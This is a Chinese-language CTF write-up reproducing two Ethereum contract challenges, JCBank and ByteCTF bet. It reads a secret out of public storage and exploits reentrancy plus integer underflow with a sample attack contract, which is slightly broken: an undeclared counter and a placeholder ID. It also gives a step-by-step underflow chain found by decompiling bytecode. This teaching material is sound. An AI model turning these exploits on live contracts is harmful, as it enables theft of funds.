几道合约题复现

Hackergame2019 JCBank

题目的源码是直接给出的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
/**
*Submitted for verification at Etherscan.io on 2019-10-14
*/

pragma solidity ^0.4.26;

contract JCBank {
mapping (address => uint) public balance;
mapping (uint => bool) public got_flag;
uint128 secret;

constructor (uint128 init_secret) public {
secret = init_secret;
}

function deposit() public payable {
balance[msg.sender] += msg.value;
}

function withdraw(uint amount) public {
require(balance[msg.sender] >= amount);
msg.sender.call.value(amount)();
balance[msg.sender] -= amount;
}

function get_flag_1(uint128 guess) public view returns(string) {
require(guess == secret);

bytes memory h = new bytes(32);
for (uint i = 0; i < 32; i++) {
uint b = (secret >> (4 * i)) & 0xF;
if (b < 10) {
h[31 - i] = byte(b + 48);
} else {
h[31 - i] = byte(b + 87);
}
}
return string(abi.encodePacked("flag{", h, "}"));
}

function get_flag_2(uint user_id) public {
require(balance[msg.sender] > 1000000000000 ether);
got_flag[user_id] = true;
balance[msg.sender] = 0;
}
}

有两个get_flag函数,先看get_flag_1函数,要求传进去的参数guesssecret相等。注意到合约开始的地方定义了一个属性为public的constructor(构造器),这样的话我们就可以直接通过读取storage来获得变量secret的值

读取secret变量的值有两种方法:

  1. 在etherscan的contract页面已经识别到了Constructor Arguments

    mark

    因为constructor中只有一个参数init_secret,然后把init_secret的值赋给了secret,所以000000000000000000000000000000000175bddc0da1bd47369c47861f48c8ac就是secret的值

  2. 可以通过Truffle控制台来读取链上的Storage

mark

然而调用get_flag_2需要我们的余额大于1000000000000eth,因为这个合约只有四个函数,所以很容易就注意到withdraw函数是有问题的:因为函数中使用了<address>.call.value()这个函数,在rickgray师傅的这篇博客中也提到了,.call.value()函数不能有效防止重入

mark

所以这里就存在重入漏洞了(重入漏洞原理可以看这里的第十一关)

withdraw 函数的 msg.sender.call.value(amount)(); 一句代码中,合约会给调用者的地址上转账 amount 金额的币,但这里没有使用有 gas 限制的 msg.sender.transfer 或者 msg.sender.send 来转账,所以如果转账的目标是一个合约,合约接收到转账,它的 fallback 函数会被运行。其实在编译题目的合约时,编译器在这里会提示一个 warning。

在这一步中,我们可以自己写一个新的合约,这个合约的 fallback 函数是 payable 的,然后当它被执行时,我们在fallback函数中再次调用题目合约的 withdraw 函数。此时,balance 还没有被减去第一次转账的金额,所以转账可以再次发生。我们可以使用一个计数器让转账只会发生两次,然后 balance 也会被减去两次。如果第二次减法不够减,就会发生整数溢出。因为 balance 是无符号的,此时你的合约对应的 balance 会变成一个巨大的数,就可以去拿 flag 了。

如果题目合约中以太币数量为 0,那么第二次转账会失败,所以需要提前用另一个地址给题目合约充一些币。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
contract Hack {
address JCBank_address = 0xE575c9abD35Fa94F1949f7d559056bB66FddEB51;
JCBank target = JCBank(JCBank_address); //调用题目合约

constructor() public {

}

function hack() public payable returns(bool) {
target.deposit.value(1)();
target.withdraw(1);
target.withdraw(1);
}

function getflag() public {
if(n == 1){
target.get_flag_2(your id);
}
}


function () public payable {
if (n == 0){
n = 1;
target.withdraw(1);
}
}
}

Bytectf bet

题目地址:0x30d0a604d8c90064a0a3ca4beeea177eff3e9bcd@ropsten

附件:bet.broken

1
2
3
4
5
6
7
8
9
......

event SendFlag(string b64email);

function payforflag(string b64email) public {
require(balanceOf[msg.sender] >= 100000);
emit SendFlag(b64email);
}
............

考点:整数下溢

由于刚学合约不久,如果有说错的地方还希望师傅们帮忙指正:D

题目没有给出源码,所以需要我们自己逆了。我比较习惯etherscan的decompile和ethervm.io的decompile对照着看,所以先把两边都反编译出来

分析合约功能

mark

可以看到合约中有三组映射和两个未知的全局变量,只有第一个映射balanceOf被识别出来了

mark

再看ethervm.io的decompile,被识别出来的属性为public的函数有这么几个:空投函数profit,获取flag函数payforflag,查询余额函数balanceOfBet函数,gift函数,存钱函数deposit和其余未识别的函数

可以看到调用payforflag函数需要balanceOf[msg.sender]大于100000(0x186a0)

mark

接下来就逐个分析函数的功能了

1.先看profit函数,profit函数需要mapping2[msg.sender]==0,现在我们不知道mapping2代表什么,先不管它,而从ethervm.io的decompile可以看到mapping2对应的是0x03标志位。

mark

mark

画框的if判断对应的就是require,而balanceOf对应的是0x02标志位。profit函数的功能就是在满足条件时使调用函数的人的余额+1,这时候就可以看出mapping2代表的应该是看我们是否调用过profit函数,如果调用过的话就把0x03标志位(mapping2)置为1,不允许再次调用

2.接着再看func_03F7函数(即ad17b493函数)和Bet函数

mark

Bet函数中,是把msg.sender复制给var2(后面的或计算和与计算可以直接忽略,因为计算的结果还是msg.sender)。同样现在我们还不知道var2的含义,但是不要紧,只要先调用Bet函数将msg.sender赋值给var2就可以保证我们调用func_03F7函数(即ad17b493函数)的时候可以通过第一个require了

继续分析func_03F7函数(即ad17b493函数),还需要balanceOf[msg.sender] - 2 > 0mapping3[msg.sender] == 1mapping3也不知道代表什么,所以继续去ethervm.io分析

mark

第三个require对应的是第三个if判断,可以看到在第三个if判断中是判断0x04标志位是否为1,0x04标志位如果不为1就直接revert,为1的话才继续向下执行。接下来就是余额减2,如果函数的参数_arg0和全局变量var1不相等的话,就revert;如果相等的话,就再给余额加2.

3.最后分析剩下的几个函数func_0219函数(即1727bb94函数)、func_04E4函数(即f98b23c9函数)和deposit函数

  • func_0219函数(即1727bb94函数):

    这个函数功能与func_03F7函数很像,调用函数需要balanceOf[msg.sender] > 0,先将余额减1,如果这个函数的参数_arg0var1变量相等的话,就进入else,使得余额加2,最后将mapping2[msg.sender]置为1。到这里出了个问题,还记得在profit函数中的mapping2吗,对应的是0x03标志位,用来验证我们是否已经调用过空投函数,而这里却也是mapping2感觉有问题。再去看ethervm.io,发现ethervm.io这里是0x04标志位,这样的话就说得通了。0x02标志位对应balanceOf,0x03标志位对应是否调用过profit

    mark

    0x04标志位的含义还不清楚,但在func_03F7函数的调用中需要0x04标志位为1

  • func_04E4函数(即f98b23c9函数):

    mark

    在这个函数中,require跟之前的一样,只要先调用Bet函数使我们的msg.sender复制给全局变量var2就可以通过这个require;下面会把这个函数的参数赋值给var1,而这个参数是我们可控的,成功调用这个函数后就可以使func_03F7函数和func_0219函数进入if判断了

  • deposit函数:

    mark

    就是一个最普通的存钱函数,de0b6b3a7640000是十六进制数。

Attack

分析完函数功能后就要找漏洞点了,因为调用payforflag需要余额大于100000显然不现实。我们注意到func_03F7函数(即ad17b493函数)和func_0219函数(即1727bb94函数)都有一个减去余额的操作可能造成下溢。明确漏洞点后就可以构思一下攻击链了:

  1. 先调用Bet函数使得将我们的msg.sender赋值给var2;
  2. 调用func_04E4函数(即f98b23c9函数),使var1变为0(任意数字都可);
  3. 调用profit空投函数使余额变为1;
  4. 调用func_0219函数(即1727bb94函数),刚才已经知道var1为0,所以这里也将函数参数设为0,使我们的余额变为2,同时将mapping3[msg.sender](即0x04标志位)置为1;
  5. 再次调用func_0219函数(即1727bb94函数),为了达到余额减1的目的,故意将参数设为0以外的数字,使得余额变为1;
  6. 调用func_03F7函数(即ad17b493函数),三个require都已满足(对于第二个require,现在余额只有1,减2的话也会下溢,所以也会满足),就可以执行余额减2的操作从而实现溢出;
  7. 调用payforflag函数拿flag。